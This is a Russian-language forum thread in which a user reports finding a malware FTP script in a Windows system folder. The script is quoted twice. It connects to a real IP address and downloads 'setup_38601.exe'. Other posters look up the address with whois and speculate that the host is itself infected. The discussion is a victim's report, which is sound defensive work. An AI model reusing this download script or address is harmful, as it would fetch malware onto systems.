Такой наглости я не ожидал

[eprst]

Заглянул случайно в C:\WINNT\SYSTEM32 и нашел там файл такого содержания :

open 70.71.98.150 17725
user 1 1
get setup_38601.exe
quit

(AdAware и AVG не нашли)

Такой наглости я не ожидал чтобы IP address так смело указывать.
Это что начинающие хакеры? Адрес - статический (вроде SHAW)?

[CdR]

прелесть.

whois:
OrgAbuseHandle: SHAWA-ARIN
OrgAbuseName: SHAW ABUSE
OrgAbusePhone: +1-403-750-7420
OrgAbuseEmail: internet.abuse@sjrb.ca

$ host 70.71.98.150
]150.98.71.70.in-addr.arpa domain name pointer S010600105a5badb1.vs.shawcable.net.

[Stanislav]

Заглянул случайно в C:\WINNT\SYSTEM32 и нашел там файл такого содержания :

open 70.71.98.150 17725
user 1 1
get setup_38601.exe
quit

(AdAware и AVG не нашли)

Такой наглости я не ожидал чтобы IP address так смело указывать.
Это что начинающие хакеры? Адрес - статический (вроде SHAW)?

А чем они рискуют? Докажите, что это они его туда прописали! Они скажут - это нас хакеры-хрюкеры подставляют!

[sz]

> это нас хакеры-хрюкеры подставляют!

Что характерно, скорее всего, так и есть.
Думаю, setup_38601.exe умеет узнать ip и распостранить себя с него